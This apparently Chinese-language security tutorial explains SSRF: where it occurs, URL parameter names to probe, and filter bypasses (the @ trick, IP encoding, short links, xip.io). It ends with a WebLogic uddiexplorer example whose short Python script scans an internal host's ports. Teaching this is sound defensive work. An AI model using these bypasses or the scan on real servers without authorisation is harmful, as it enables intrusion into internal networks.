SSRF漏洞

概念:服务端在获取攻击者输入的url时,如果这个过程中,服务端并没有对这个url做任何的限制和过滤,那么就很有可能存在ssrf漏洞。

漏洞利用:SSRF攻击的目标一般是外网无法访问的内部系统。攻击者可以通过构造url对外网,服务器所在内网,本地进行端口扫描;攻击运行在内网或本地的应用程序;对内网web应用指纹识别,通过访问默认文件实现;攻击内外网的web应用;利用file协议读取本地文件。

哪里最可能存在ssrf:

1)通过url分享图片,文章等;

2)转码服务;

3)在线翻译功能;

4)图片通过url加载与下载;

5)图片收藏功能;

6)url关键字:

share

wap

url

link

src

source

target

3g

display

sourceURL

imageURL

domain

SSRF绕过限制:

1)使用@绕过:http://xx.xxx.com@127.0.0.1 <=>http://127.0.0.1

2)ip地址进行进制转换

3)添加端口号:http://127.0.0.1:8080

4)使用短地址绕过,将原来的网址转换成短地址:http://127.0.0.1 <=>http://dwz.cn/11SMa

5)使用xip.io绕过:http://xx.xxx.com.127.0.0.1.xip.io该请求会解析到http://127.0.0.1

Weblogic SSRF漏洞示例:

image
image
image

修改operator参数,探测内网存在的端口

image

由下面的图可以知道,当存在某个端口的时候会显示which did not have a valid SOAP,所以接下来我们可以直接写个脚本,来探测内网存在的端口,当然也可以直接用常用的端口一个一个试

image

 1 #--coding:utf-8--
2 import requests
3
4 x = [22,443,3389,6379]
5 for i in x: 6 url = "http://192.168.80.151:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.20.0.2:{port}&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(port=i)
7 r = requests.get(url)
8 if "Tried all" in r.content: 9 continue
10 else: 11 print "开放端口:\n" + str(i) 12 exit(0)

运行后:

image
image

因此,我们可以知道,当请求的端口存在时,会返回which did not have a vaild SOAP,根据这个我们可以判断有哪些端口是存在的。再结合这些端口进行进一步的渗透测试。

你可能感兴趣的:(SSRF漏洞)